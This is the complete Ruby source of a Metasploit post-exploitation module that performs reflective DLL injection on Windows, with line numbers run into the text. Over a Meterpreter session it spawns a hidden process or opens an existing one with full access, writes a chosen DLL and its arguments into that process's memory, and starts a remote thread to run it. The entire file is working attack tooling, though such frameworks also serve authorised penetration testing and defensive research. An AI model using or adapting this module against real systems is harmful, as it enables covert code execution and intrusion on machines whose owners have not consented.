Path: blob/master/modules/post/windows/manage/reflective_dll_inject.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Process9include Msf::Post::Windows::ReflectiveDLLInjection1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Manage Reflective DLL Injection Module',16'Description' => %q{17This module will inject a specified reflective DLL into the memory of a18process, new or existing. If arguments are specified, they are passed to19the DllMain entry point as the lpvReserved (3rd) parameter. To read20output from the injected process, set PID to zero and WAIT to non-zero.21Make sure the architecture of the DLL matches the target process.22},23'License' => MSF_LICENSE,24'Author' => ['Ben Campbell', 'b4rtik'],25'Platform' => 'win',26'SessionTypes' => ['meterpreter'],27'References' => [28[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]29],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_sys_process_attach34stdapi_sys_process_execute35stdapi_sys_process_get_processes36stdapi_sys_process_getpid37stdapi_sys_process_kill38stdapi_sys_process_memory_allocate39stdapi_sys_process_memory_write40stdapi_sys_process_thread_create41]42}43},44'Notes' => {45'Stability' => [CRASH_SERVICE_DOWN],46'SideEffects' => [],47'Reliability' => []48}49)50)51register_options(52[53OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),54OptInt.new('PID', [false, 'Pid to inject', 0]),55OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),56OptString.new('ARGUMENTS', [false, 'Command line arguments']),57OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])58]59)6061register_advanced_options(62[63OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])64]65)66end6768def run69dll_path = ::File.expand_path(datastore['PATH'])70if File.file?(dll_path)71run_dll(dll_path)72else73print_bad("Dll not found #{dll_path}")74end75end7677def pid_exists(pid)78mypid = client.sys.process.getpid.to_i7980if pid == mypid81print_bad('Can not select the current process as the injection target')82return false83end8485host_processes = client.sys.process.get_processes86if host_processes.empty?87print_bad('No running processes found on the target host.')88return false89end9091theprocess = host_processes.find { |x| x['pid'] == pid }9293!theprocess.nil?94end9596def launch_process97process_name = datastore['PROCESS']98process_name << '.exe' unless process_name.end_with?('.exe')99100print_status("Launching #{process_name} ...")101channelized = datastore['WAIT'] != 0102103process = client.sys.process.execute(104process_name,105nil,106'Channelized' => channelized,107'Hidden' => true108)109110hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)111print_good("Process #{hprocess.pid} created.")112[process, hprocess]113end114115def inject_dll(process, dll_path)116library_path = ::File.expand_path(dll_path)117exploit_mem, offset = inject_dll_into_process(process, library_path)118[exploit_mem, offset]119end120121def open_process122pid = datastore['PID'].to_i123124if pid_exists(pid)125print_status("Opening handle to process #{datastore['PID']}...")126hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)127print_good('Handle opened')128[nil, hprocess]129else130print_bad('Pid not found')131[nil, nil]132end133end134135def run_dll(dll_path)136hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']137print_status("Running module against #{hostname} (#{session.session_host})")138139if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)140print_warning('Output unavailable')141end142143if datastore['PID'] <= 0144process, hprocess = launch_process145else146process, hprocess = open_process147end148149if hprocess.nil?150print_bad('Execution finished')151return152end153154exploit_mem, offset = inject_dll(hprocess, dll_path)155156if datastore['ARGUMENTS'].nil?157arg_mem = nil158else159arg_mem = copy_args(hprocess)160end161162print_status('Executing...')163hprocess.thread.create(exploit_mem + offset, arg_mem)164165if datastore['WAIT'] != 0166sleep(datastore['WAIT'])167end168169if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)170read_output(process)171end172173if datastore['KILL']174print_good("Killing process #{hprocess.pid}")175client.sys.process.kill(hprocess.pid)176end177178print_good('Execution finished.')179end180181def copy_args(process)182argssize = datastore['ARGUMENTS'].size + 1183arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)184params = datastore['ARGUMENTS']185params += "\x00"186187process.memory.write(arg_mem, params)188arg_mem189end190191def read_output(process)192print_status('Start reading output')193old_timeout = client.response_timeout194client.response_timeout = 5195196begin197loop do198output = process.channel.read199if !output.nil? && !output.empty?200output.split("\n").each { |x| print_good(x) }201end202break if output.nil? || output.empty?203end204rescue Rex::TimeoutError205vprint_warning('Time out exception: wait limit exceeded (5 sec)')206rescue StandardError => e207print_error("Error: #{e.inspect}")208end209210client.response_timeout = old_timeout211print_status('End output.')212end213end214215216